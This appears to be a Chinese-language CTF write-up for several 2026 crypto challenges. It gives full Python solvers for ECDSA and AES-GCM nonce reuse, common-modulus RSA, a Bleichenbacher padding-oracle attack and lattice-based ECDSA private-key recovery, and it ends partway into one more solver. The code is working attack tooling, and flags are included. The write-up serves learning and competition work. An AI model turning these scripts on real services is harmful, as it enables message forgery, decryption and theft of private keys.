 assert r1 == r2, "signatures do not share nonce"
 print(f"[+] live values: shared r={r1:x}, s1={s1:x}, s2={s2:x}")

 d, k_reuse = recover_key(pub, r1, s1, s2, m1, m2)
 print(f"[+] recovered private key d = {d:x}")

 rr, ss = sign(d, target, nonce=k_reuse)
 sig_line = f"{rr:064x} {ss:064x}"
 print(f"[+] crafted (r=s, nonce reused): {sig_line}")

 sock.sendall((sig_line + "\n").encode())
 reply = b""
 try:
 while True:
 chunk = sock.recv(4096)
 if not chunk:
 break
 reply += chunk
 except socket.timeout:
 pass
 print("[*] server reply:")
 print(reply.decode(errors="replace"))
 sock.close()

 flag = re.search(rb"THJCC\{[^}]+\}", reply)
 if flag:
 print(f"[+] FLAG: {flag.group().decode()}")
 return 0


if __name__ == "__main__":
 sys.exit(main())

Forbidden（题名=攻击名） Flag：THJCC{h_r3c0v3r3d_gcm_1s_f0rb1dd3n_w1th0ut_fr3sh_n0nc3s}

AES-GCM nonce 复用：3 组同 nonce 的 (pt,ct,tag) → GHASH 多项式 GCD 恢复 H 与 tag 加密常数 E → 对目标明文伪造 (ct,tag)。GF(2^128) 必须用 NIST 右移版乘法；提交必须复用 banner 同一连接。

📜 Forbidden solve.py（194 行，核心 recover_H@788 / forge@805）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194


#!/usr/bin/env python3
"""THJCC Summer 2026 - Forbidden (Crypto)
AES-GCM nonce reuse ("Forbidden" attack): the server encrypts several known
plaintexts with the SAME nonce/key. Recover the GHASH key H and the tag
encryption constant E = E(K, J0) from (pt, ct, tag) pairs, then forge a
valid (ct, tag) for the target plaintext "give me the flag".
Usage: solve.py [host] [port]
"""
import socket, sys

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12002

# ---------------- GF(2^128), GCM convention (big-endian, poly x^128+x^7+x^2+x+1)
def gf_mul(a, b):
 # NIST SP 800-38D Algorithm 1 (right-shift "multiply")
 # 128-bit blocks as big-endian ints; bit 0 = MSB. R = x^127+x^126+x^125+x^120.
 z, v = 0, a
 R = 0xE1 << 120
 for i in range(128):
 if (b >> (127 - i)) & 1:
 z ^= v
 if v & 1:
 v = (v >> 1) ^ R
 else:
 v >>= 1
 return z

def gf_inv(a):
 # multiplicative identity under GCM mul is x^127 = 2^127 (leftmost bit),
 # so exponentiation must start from that, not from integer 1.
 r = 1 << 127
 e = (1 << 128) - 2
 while e:
 if e & 1:
 r = gf_mul(r, a)
 a = gf_mul(a, a)
 e >>= 1
 return r

# ---------------- polynomials over GF(2^128), coeff lists low->high
def poly_trim(a):
 while len(a) > 1 and a[-1] == 0:
 a = a[:-1]
 return a

def poly_xor(a, b):
 n = max(len(a), len(b))
 r = [0] * n
 for i in range(n):
 r[i] = (a[i] if i < len(a) else 0) ^ (b[i] if i < len(b) else 0)
 return poly_trim(r)

def poly_mod(a, b):
 a = poly_trim(a[:])
 b = poly_trim(b[:])
 db = len(b) - 1
 inv_lead = gf_inv(b[-1])
 r = a
 while len(r) - 1 >= db:
 shift = len(r) - 1 - db
 coef = gf_mul(r[-1], inv_lead)
 for i, bi in enumerate(b):
 r[i + shift] ^= gf_mul(coef, bi)
 r = poly_trim(r)
 if len(r) == 1 and r[0] == 0:
 break
 return r

def poly_gcd(a, b):
 a, b = poly_trim(a[:]), poly_trim(b[:])
 while not (len(b) == 1 and b[0] == 0):
 a, b = b, poly_mod(a, b)
 return a

# ---------------- GHASH (AAD empty)
def ghash(H, ct_bytes):
 L = len(ct_bytes) * 8
 padded = ct_bytes + b'\x00' * ((16 - len(ct_bytes) % 16) % 16)
 X = 0
 for i in range(0, len(padded), 16):
 X = gf_mul(X ^ int.from_bytes(padded[i:i + 16], 'big'), H)
 return gf_mul(X ^ L, H) # len block: (0<<64) | L

# polynomial P(H) = GHASH(H, C) ^ tag (P(H) == 0 for the real H)
def block_poly(pt, ct, tag):
 m = (len(ct) + 15) // 16
 padded = ct + b'\x00' * ((16 - len(ct) % 16) % 16)
 coeffs = [0] * (m + 2)
 # GHASH(H, C) = sum_j block_j * H^(m+1-j) + (len*8)*H (block_0 first, highest power)
 for j in range(m):
 coeffs[m + 1 - j] = int.from_bytes(padded[j * 16:(j + 1) * 16], 'big')
 coeffs[1] ^= len(ct) * 8
 coeffs[0] ^= int.from_bytes(tag, 'big')
 return poly_trim(coeffs)

def recover_H(msgs):
 """msgs: list of (pt, ct, tag). Returns (H, E)."""
 p0 = block_poly(*msgs[0])
 g = None
 for m in msgs[1:]:
 p = poly_xor(p0, block_poly(*m)) # P(H) = 0
 g = p if g is None else poly_gcd(g, p)
 lead = g[-1]
 g = poly_trim([gf_mul(c, gf_inv(lead)) for c in g])
 if len(g) != 2:
 raise RuntimeError(f"GCD not linear, degree={len(g) - 1}")
 H = g[0]
 Es = {int.from_bytes(tag, 'big') ^ ghash(H, ct) for _pt, ct, tag in msgs}
 if len(Es) != 1:
 raise RuntimeError("E inconsistent across messages")
 return H, Es.pop()

def forge(msgs, target):
 H, E = recover_H(msgs)
 # derive keystream from a message long enough to cover the whole target
 pt0, ct0, _ = max(msgs, key=lambda m: len(m[0]))
 assert len(pt0) >= len(target), "no message long enough for target"
 ks1 = bytes(a ^ b for a, b in zip(pt0, ct0))
 ct_star = bytes(a ^ b for a, b in zip(target, ks1))
 tag_star = int.to_bytes(E ^ ghash(H, ct_star), 16, 'big')
 return H, E, ct_star, tag_star

# ---------------- network
def recv_all(s, timeout=2.0):
 s.settimeout(timeout)
 buf = b''
 try:
 while True:
 d = s.recv(4096)
 if not d:
 break
 buf += d
 except (socket.timeout, ConnectionResetError):
 pass
 return buf

def get_banner():
 s = socket.create_connection((HOST, PORT), timeout=10)
 banner = recv_all(s, 2.0)
 return s, banner

def parse(banner):
 nonce = None
 msgs = []
 target = None
 for line in banner.split(b'\n'):
 if not line:
 continue
 parts = line.split(b' ')
 if parts[0] == b'NONCE':
 nonce = bytes.fromhex(parts[1].decode())
 elif parts[0] == b'MSG':
 msgs.append((bytes.fromhex(parts[1].decode()),
 bytes.fromhex(parts[2].decode()),
 bytes.fromhex(parts[3].decode())))
 elif parts[0] == b'TARGET':
 target = bytes.fromhex(parts[1].decode())
 return nonce, msgs, target

def main():
 s, banner = get_banner() # single connection: key/nonce are per-connection
 nonce, msgs, target = parse(banner)
 print(f"nonce={nonce.hex()} msgs={len(msgs)} target={target!r}", flush=True)
 assert target == b'give me the flag'
 assert len(msgs) >= 3

 H, E, ct_star, tag_star = forge(msgs, target)
 print(f"H = {H:032x}", flush=True)
 print(f"E = {E:032x}", flush=True)
 print(f"ct* = {ct_star.hex()}", flush=True)
 print(f"tag* = {tag_star.hex()}", flush=True)

 pt_hex, ct_hex, tag_hex = target.hex(), ct_star.hex(), tag_star.hex()
 candidates = [
 f'{ct_hex} {tag_hex}'.encode(), # confirmed working format
 f'MSG {pt_hex} {ct_hex} {tag_hex}'.encode(),
 f'{pt_hex} {ct_hex} {tag_hex}'.encode(),
 f'TARGET {ct_hex} {tag_hex}'.encode(),
 ]
 for payload in candidates:
 s.sendall(payload + b'\n')
 resp = recv_all(s, 2.0)
 print(f"sent {payload[:44]!r}... -> {resp!r}", flush=True)
 if b'NOPE' not in resp:
 print("=== SUCCESS ===", flush=True)
 print(resp.decode(errors='replace'), flush=True)
 s.close()
 return 0
 print("all formats returned NOPE")
 return 1

if __name__ == '__main__':
 sys.exit(main())

Two Exponents Flag：THJCC{n0t_c0pr1m3_but_st1ll_br0k3n_4nyw4y}

共模 RSA 但 gcd(e1,e2)=3≠1：Bezout 得 m³ mod n，明文短 m³<n 直接开立方根。

📜 Two Exponents solve.py（49 行，核心 egcd@925）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


#!/usr/bin/env python3
"""Two Exponents — common-modulus RSA with gcd(e1,e2)=3 variant.

Classic common-modulus needs gcd(e1,e2)==1; here gcd(111,39)=3, so the Bezout
combination yields c1^a * c2^b = m^3 mod n. Since the plaintext flag is short
(m^3 << n), the cube root is exact.
"""
import re
from math import gcd
from pathlib import Path

try:
 from sympy import integer_nthroot
except ImportError:
 import sys
 sys.exit("pip install sympy into the project venv")

data = Path(__file__).parent / "chal-Two-Exponents" / "output.txt"
text = data.read_text()
n = int(re.search(r"^n\s*=\s*(\d+)", text, re.M).group(1))
e1 = int(re.search(r"^e1\s*=\s*(\d+)", text, re.M).group(1))
c1 = int(re.search(r"^c1\s*=\s*(\d+)", text, re.M).group(1))
e2 = int(re.search(r"^e2\s*=\s*(\d+)", text, re.M).group(1))
c2 = int(re.search(r"^c2\s*=\s*(\d+)", text, re.M).group(1))

g = gcd(e1, e2)
print(f"gcd(e1,e2) = {g}")
assert g > 1, "classic gcd=1 path (a*e1+b*e2=1)"

# Bezout for a*e1 + b*e2 = g
def egcd(a, b):
 if b == 0:
 return a, 1, 0
 g_, x_, y_ = egcd(b, a % b)
 return g_, y_, x_ - (a // b) * y_

_, a, b = egcd(e1, e2) # a*e1 + b*e2 = g
print(f"a={a} b={b} (a*e1+b*e2={a*e1+b*e2})")

m_g = (pow(c1, a, n) * pow(c2, b, n)) % n # == m^g mod n
print(f"m^g mod n bits: {m_g.bit_length()} / n bits: {n.bit_length()}")

root, exact = integer_nthroot(m_g, g)
print(f"g-th root exact: {exact}")
assert exact, "m^g >= n, need different strategy"

m = root
flag = bytes.fromhex(f"{m:x}").decode(errors="replace")
print("flag:", flag)

A Million Messages Flag：THJCC{bl31chenb4ch3r_st1ll_3ats_pkcs1_v1_5}

每连接 fresh 512-bit RSA + 只验解密前缀 00 02 的行式 oracle = prefix-only Bleichenbacher BB98；流水线批量查询 + 3 连接对冲，11.8k 次 20 分钟收敛。

📜 A Million Messages solve.py（216 行，核心 ask_batch@1004 批量化查询）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216


#!/usr/bin/env python3
"""THJCC Summer 2026 - "A Million Messages" - Bleichenbacher MMA solver.

Protocol (per connection, fresh 512-bit RSA key every connect):
 server -> "N <hex>", "E <hex>", "C <hex>" (C = PKCS#1 v1.5-padded flag)
 client -> "<hex ciphertext X>" (one line per query)
 server -> "OK" iff D(X) as k-byte big-endian starts with 00 02, else "BAD"

Oracle checks ONLY the first two bytes (verified: short padding / no 00
separator still return OK; type 01 / 03 return BAD), so the conforming set is
exactly [2B, 3B) with B = 2^(8(k-2)) -- textbook prefix-only Bleichenbacher.

Server processes ~24 queries/sec per connection, so we run several
independent attacks in parallel threads (each has its own connection/key)
and take whichever finishes first.

Usage: solve.py [host] [port] [n_conns]
"""
import socket, sys, threading, time, json

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12003
NCONNS = int(sys.argv[3]) if len(sys.argv) > 3 else 3

def cdiv(x, y):
 return -((-x) // y)

class OracleConn:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, port), timeout=90)
 self.s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 self.buf = b''
 self.n_sent = 0
 self.n_read = 0
 self.N = int(self.readline().split()[1], 16)
 self.E = int(self.readline().split()[1], 16)
 self.C = int(self.readline().split()[1], 16)

 def readline(self):
 while b'\n' not in self.buf:
 chunk = self.s.recv(65536)
 if not chunk:
 raise EOFError('server closed')
 self.buf += chunk
 line, self.buf = self.buf.split(b'\n', 1)
 return line

 def ask_batch(self, multipliers, chunk_hint=256):
 """Send oracle(C * t^e mod N) for each t; returns list of bools."""
 out = []
 for i in range(0, len(multipliers), chunk_hint):
 part = multipliers[i:i+chunk_hint]
 payload = b''.join((f"{(self.C * pow(t, self.E, self.N)) % self.N:x}".zfill(128) + '\n').encode() for t in part)
 self.s.sendall(payload)
 self.n_sent += len(part)
 for _ in part:
 out.append(self.readline() == b'OK')
 self.n_read += 1
 return out

def attack(idx, stop, results, log):
 def p(msg):
 log(f"[conn{idx}] {msg}")

 for attempt in range(4):
 if stop.is_set():
 return
 try:
 oc = OracleConn(HOST, PORT)
 except Exception as e:
 p(f"connect failed: {e!r}; retrying")
 time.sleep(2)
 continue
 N, E, C = oc.N, oc.E, oc.C
 k = (N.bit_length() + 7) // 8
 B = 1 << (8 * (k - 2))
 p(f"N={N:#x} (k={k}) queries={oc.n_sent}")

 t_start = time.time()
 try:
 # ---- phase 1: find s1 >= ceil(N/3B) with oracle true
 s = cdiv(N, 3 * B)
 CHUNK = 256
 s1 = None
 while s1 is None:
 if stop.is_set():
 oc.s.close(); return
 mults = [s + i for i in range(CHUNK)]
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s1 = t
 break
 s += CHUNK
 if (s - cdiv(N, 3 * B)) % 4096 < CHUNK:
 rate = oc.n_read / max(time.time() - t_start, 1e-9)
 p(f"phase1: scanned up to s={s}, {oc.n_read} q, {rate:.0f} q/s")
 p(f"phase1 HIT s1={s1} after {oc.n_read} queries ({time.time()-t_start:.0f}s)")

 # ---- phase 2
 M = [(2 * B, 3 * B - 1)]
 s_last = s1
 m_found = None
 while m_found is None:
 if stop.is_set():
 oc.s.close(); return
 if len(M) == 1:
 a, b = M[0]
 if b - a <= 16:
 for cand in range(a, b + 1):
 if pow(cand, E, N) == C:
 m_found = cand
 break
 else:
 p("interval failed to verify -- restarting attack")
 break
 continue
 r = cdiv(2 * (b * s_last - 2 * B), N)
 got = False
 while not got:
 s_min = cdiv(2 * B + r * N, b)
 s_max = (3 * B - 1 + r * N) // a
 if s_min > s_max:
 r += 1
 continue
 pos = s_min
 while pos <= s_max and not got:
 if stop.is_set():
 oc.s.close(); return
 mults = list(range(pos, min(s_max, pos + CHUNK - 1) + 1))
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s_last = t; got = True; break
 pos += CHUNK
 if oc.n_read % 8192 < CHUNK:
 p(f"2c scanning s~{pos} r={r} q={oc.n_read}")
 if not got:
 r += 1
 else:
 got = False
 scur = s_last + 1
 while not got:
 if stop.is_set():
 oc.s.close(); return
 mults = [scur + i for i in range(CHUNK)]
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s_last = t; got = True; break
 scur += CHUNK
 if oc.n_read % 8192 < CHUNK:
 p(f"2b scanning s~{scur} q={oc.n_read}")
 # step 3: recompute intervals
 newM = []
 for (a, b) in M:
 rlo = cdiv(a * s_last - 3 * B + 1, N)
 rhi = (b * s_last - 2 * B) // N
 for r in range(rlo, rhi + 1):
 na = max(a, cdiv(2 * B + r * N, s_last))
 nb = min(b, (3 * B - 1 + r * N) // s_last)
 if na <= nb:
 newM.append((na, nb))
 M = newM
 widths = sum(b2 - a2 + 1 for a2, b2 in M)
 p(f"phase2: s={s_last} intervals={len(M)} total_width_bits={widths.bit_length()} q={oc.n_read}")
 if len(M) == 1 and M[0][1] - M[0][0] <= 16:
 a, b = M[0]
 for cand in range(a, b + 1):
 if pow(cand, E, N) == C:
 m_found = cand
 break
 if m_found is None:
 continue
 block = m_found.to_bytes(k, 'big')
 p(f"RECOVERED after {oc.n_read} queries: {block!r}")
 results.append((N, E, C, m_found, oc.n_read))
 stop.set()
 oc.s.close()
 return
 except Exception as e:
 p(f"error after {oc.n_read} queries: {e!r}; restarting")
 try:
 oc.s.close()
 except Exception:
 pass
 time.sleep(1)

def main():
 stop = threading.Event()
 results = []
 logs = []
 loglock = threading.Lock()
 def log(msg):
 with loglock:
 print(f"{time.strftime('%H:%M:%S')} {msg}", flush=True)

 threads = [threading.Thread(target=attack, args=(i, stop, results, log), daemon=True) for i in range(NCONNS)]
 for t in threads:
 t.start()
 for t in threads:
 t.join()
 if results:
 N, E, C, m, nq = results[0]
 block = m.to_bytes((N.bit_length() + 7) // 8, 'big')
 sep = block.index(0, 2)
 flag = block[sep + 1:]
 print("FLAG:", flag.decode(errors='replace'), flush=True)
 with open('session_result.json', 'w') as f:
 json.dump({'N': hex(N), 'E': hex(E), 'C': hex(C), 'm': hex(m), 'queries': nq,
 'flag': flag.decode(errors='replace')}, f, indent=1)
 else:
 print("no result", flush=True)

if __name__ == '__main__':
 main()

Schizophrenic Signer Flag：THJCC{w0w_y0u_f0und_th3_h1dd3n_d3lt4_b3tw33n_p_4nd_q!}

LCG-nonce 双世界 HNP：p−q≈2¹²⁸ ⇒ k=state，商 t_i 消 d 归一化成 t_i≡A_i·t_0+B_i (mod q)；坐标加权(w=9) Kannan 嵌入 + BKZ-40。

发现过程：p−q≈2¹²⁸ 由 secp256k1 曲线常数直接算出——state mod q 的折叠以 1−2⁻¹²⁸ 概率不折叠，k=state 才成立；LCG 参数 a、b 明文给出，唯一隐藏量是更新时的商 t_i。真正的坎在格：朴素中心化嵌入的目标在 0.9·GH 附近，LLL/BKZ 怎么跑都不收敛（前一会话卡 8 小时的根因）；把 84 个陪集坐标统一乘 w=9（≈K·√12/a）、嵌入行取 K=2.65a，目标降到 ~0.55·GH，BKZ-40 秒出。a 每连接随机，log2(a)≤252.45 的"软实例"约占 36%——重连挑软的（实测第 4 次连接 15 秒解出）。

📜 Schizophrenic Signer solve.py（215 行，核心 lattice_solve@1283 / try_extract@1320）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


#!/usr/bin/env python3
"""
Schizophrenic Signer (THJCC Summer 2026, crypto, challenge 27) — full solve.

Protocol (handout/server.py): server prints pubkey, LCG params a, b, then 85
ECDSA signatures (h, r, s) over fixed messages, generated with nonces
k_i = ((LCG state mod p) mod q); asks for private key d in hex -> flag.

Attack:
 * state_{i+1} = a*state_i + b - t_i*p with t_i = floor((a*state_i+b)/p) in [0, a)
 and k_i = state_i (p - q = D ~ 2^128 << q, so state % q = state w.h.p.)
 * ECDSA: k_i = alpha_i + beta_i*d (mod q), alpha_i = h_i/s_i, beta_i = r_i/s_i
 * => w_i + e_i*d = t_i*D (mod q) with e_i = beta_{i+1} - a*beta_i,
 w_i = a*alpha_i + b - alpha_{i+1}
 * eliminate d via equation 0: t_i = A_i*t_0 + B_i (mod q), i = 1..83
 * weighted centered Kannan embedding, dim 85:
 rows w*(1, A_1..A_83 | 0), w*q*e_i, (w*C_1..w*C_83 | K)
 with C_i = B_i + A_i*half - half mod q, half = a//2, K = 2.65a, w = 9
 -> target vector (w*(t_i - half)... | K) sits at ~0.55*GH: uSVP, BKZ-30/40
 * candidate t_0 -> d = (w_0 - D*t_0)/e_0 mod q, verify d*G == pub
 * reconnect until log2(a) <= 0.45 + 252 (small a = easier lattice)

Usage:
 python3 solve.py --host chal.thjcc.org --port 11451
 python3 solve.py --local (spawns handout/server.py)
"""
import argparse
import math
import os
import re
import sys
import time

HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)
os.chdir(HERE)

from pwn import remote, process, context

from fpylll import IntegerMatrix, LLL, BKZ
from fpylll.algorithms.bkz2 import BKZReduction as BKZ2

# secp256k1
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
q = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G_x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
G_y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
G = (G_x, G_y)

D = p - q
ACCEPT_LOG2A = 252.45 # reconnect if log2(a) above this (lattice gets too tight)


def add(P1, P2):
 if P1 is None: return P2
 if P2 is None: return P1
 x1, y1 = P1; x2, y2 = P2
 if x1 == x2 and y1 != y2: return None
 if x1 == x2:
 l = (3 * x1 * x1) * pow(2 * y1, -1, p) % p
 else:
 l = (y2 - y1) * pow(x2 - x1, -1, p) % p
 x3 = (l * l - x1 - x2) % p
 y3 = (l * (x1 - x3) - y1) % p
 return (x3, y3)


def mul(pt, n):
 res = None; curr = pt; n = n % q
 while n:
 if n & 1: res = add(res, curr)
 curr = add(curr, curr)
 n >>= 1
 return res


def connect(args):
 if args.local:
 return process(["python3",
 os.path.join(HERE, "handout", "server.py")],
 env={"FLAG": "THJCC{local_test_flag}", "PATH": os.environ["PATH"]})
 return remote(args.host, args.port)


def get_transcript(io):
 data = io.recvuntil(b"Private Key (d) in hex:", timeout=60).decode(errors="replace")
 m = re.search(r"Public Key: \(0x([0-9a-f]+), 0x([0-9a-f]+)\)", data)
 pub = (int(m.group(1), 16), int(m.group(2), 16))
 m = re.search(r"a = 0x([0-9a-f]+), b = 0x([0-9a-f]+)", data)
 a, b = int(m.group(1), 16), int(m.group(2), 16)
 sigs = []
 for mh, mr, ms in re.findall(r"h = 0x([0-9a-f]+)\nr = 0x([0-9a-f]+)\ns = 0x([0-9a-f]+)", data):
 sigs.append((int(mh, 16), int(mr, 16), int(ms, 16)))
 return pub, a, b, sigs


def lattice_solve(a, b, pub, sigs, deadline=None, verbose=True):
 """Weighted centered Kannan embedding + BKZ ladder. Returns d or None."""
 m = len(sigs) - 1
 alpha = [h * pow(s, -1, q) % q for h, r, s in sigs]
 beta = [r * pow(s, -1, q) % q for h, r, s in sigs]
 e = [(beta[i + 1] - a * beta[i]) % q for i in range(m)]
 wv = [(a * alpha[i] + b - alpha[i + 1]) % q for i in range(m)]
 inv_e0 = pow(e[0], -1, q)
 invD = pow(D, -1, q)
 A = [0] * m
 B = [0] * m
 for i in range(1, m):
 A[i] = e[i] * inv_e0 % q
 B[i] = (wv[i] - A[i] * wv[0]) % q * invD % q
 half = a // 2
 C = [(B[i] + A[i] * half - half) % q for i in range(1, m)]

 K = round(2.65 * a)
 ws = 9 # ~ K*sqrt(12)/a: equalizes expected per-coordinate contribution
 dim = m + 1
 M = IntegerMatrix(dim, dim)
 M[0, 0] = ws
 for i in range(1, m):
 M[0, i] = ws * A[i]
 for i in range(1, m):
 M[i, i] = ws * q
 for i in range(1, m):
 M[m, i] = ws * C[i - 1]
 M[m, m] = K

 cache = {}

 def pub_ok(dd):
 if dd not in cache:
 cache[dd] = 0 < dd < q and mul(G, dd) == pub
 return cache[dd]

 def try_extract():
 for row in range(dim):
 if abs(M[row, m]) != K or M[row, 0] % ws != 0:
 continue
 x = M[row, 0] // ws
 for t0 in (half + x, half - x):
 if 0 <= t0 < a:
 dd = (wv[0] - D * t0) % q * inv_e0 % q
 if pub_ok(dd):
 return dd
 return None

 t0 = time.time()
 LLL.reduction(M)
 r = try_extract()
 if r:
 if verbose: print(f"[+] LLL: {time.time()-t0:.0f}s", flush=True)
 return r
 bkz = BKZ2(M)
 for blk in (30, 40, 50, 56):
 if deadline and time.time() > deadline:
 return None
 t1 = time.time()
 bkz(BKZ.Param(block_size=blk, max_loops=6,
 flags=BKZ.AUTO_ABORT | BKZ.MAX_LOOPS | BKZ.GH_BND))
 if verbose:
 print(f"[*] BKZ2-{blk}: {time.time()-t1:.0f}s", flush=True)
 r = try_extract()
 if r:
 return r
 return None


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=11451)
 ap.add_argument("--local", action="store_true")
 ap.add_argument("--max-tries", type=int, default=30)
 ap.add_argument("--budget", type=int, default=300, help="lattice seconds per attempt")
 args = ap.parse_args()

 context.log_level = "warn"
 for attempt in range(1, args.max_tries + 1):
 print(f"[connect #{attempt}]", flush=True)
 io = connect(args)
 try:
 pub, a, b, sigs = get_transcript(io)
 except Exception as ex:
 print(f"[-] parse failed: {ex}", flush=True)
 io.close()
 continue
 if len(sigs) != 85:
 print(f"[-] expected 85 sigs, got {len(sigs)}", flush=True)
 io.close()
 continue
 la = math.log2(a)
 print(f"[*] a: log2 = {la:.3f} ({'ACCEPT' if la <= ACCEPT_LOG2A else 'too big, reconnect'})",
 flush=True)
 if la > ACCEPT_LOG2A:
 io.close()
 time.sleep(1)
 continue
 t0 = time.time()
 d = lattice_solve(a, b, pub, sigs, deadline=time.time() + args.budget)
 if d is None:
 print("[-] lattice failed on this instance, reconnecting", flush=True)
 io.close()
 continue
 print(f"[+] d = {hex(d)} ({time.time()-t0:.0f}s)", flush=True)
 io.sendline(hex(d).encode())
 resp = io.recvall(timeout=20).decode(errors="replace")
 print(resp, flush=True)
 m = re.search(r"THJCC\{[^}]*\}", resp)
 if m:
 print(f"[*] FLAG: {m.group(0)}", flush=True)
 return
 print("[-] exhausted attempts")


if __name__ == "__main__":
 main()

Lattice of Doom

Flag：THJCC{l4tt1c3s_turn_b14s3d_n0nc3s_1nt0_pr1v4t3_k3ys}

|k_i| < 2²³² 的 HNP：整数化满秩格（对角 N²、d 行系数 B、常数行 B·N），LLL 后最短向量给出私钥，AES-CBC 派生密钥解 flag。

发现过程：附件 signer_excerpt.py 里 NONCE_BYTES = 29——nonce 只有 232 位、比曲线阶 256 位少 24 位，即偏置 nonce；README 明示 “Many small things together are a lattice problem” 指向 HNP。格构造两个坑：B 与 B·N 必须分占两个独立列（放同一列矩阵秩亏缺、LLL 出零行）；还原时候选要试 y//B ± N 并用 cand·G == Q 验证唯一性。

📜 Lattice of Doom solve.py（125 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125



#!/usr/bin/env python3
"""Lattice of Doom (THJCC CTF Summer 2026, Crypto) — one-shot solve.

Attack: ECDSA (secp256k1) with biased nonces -> Hidden Number Problem -> LLL.
The firmware signs with 29-byte (232-bit) nonces; the curve order N is 256 bits.
From s_i = k_i^-1 (h_i + r_i*d) mod N we get k_i = a_i*d + b_i mod N with
|k_i| < 2^232, a classic HNP. Recover d with a lattice, then decrypt the flag
(AES-128-CBC, key = sha256(b"wallet-v1|" + d.to_bytes(32,'big'))[:16]).

Requires: fpylll, pycryptodome (pip install fpylll pycryptodome)
Run from the challenge directory (expects handout/output.json).
"""
import hashlib
import json
from pathlib import Path

from Crypto.Cipher import AES
from fpylll import IntegerMatrix, LLL

# secp256k1 parameters
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
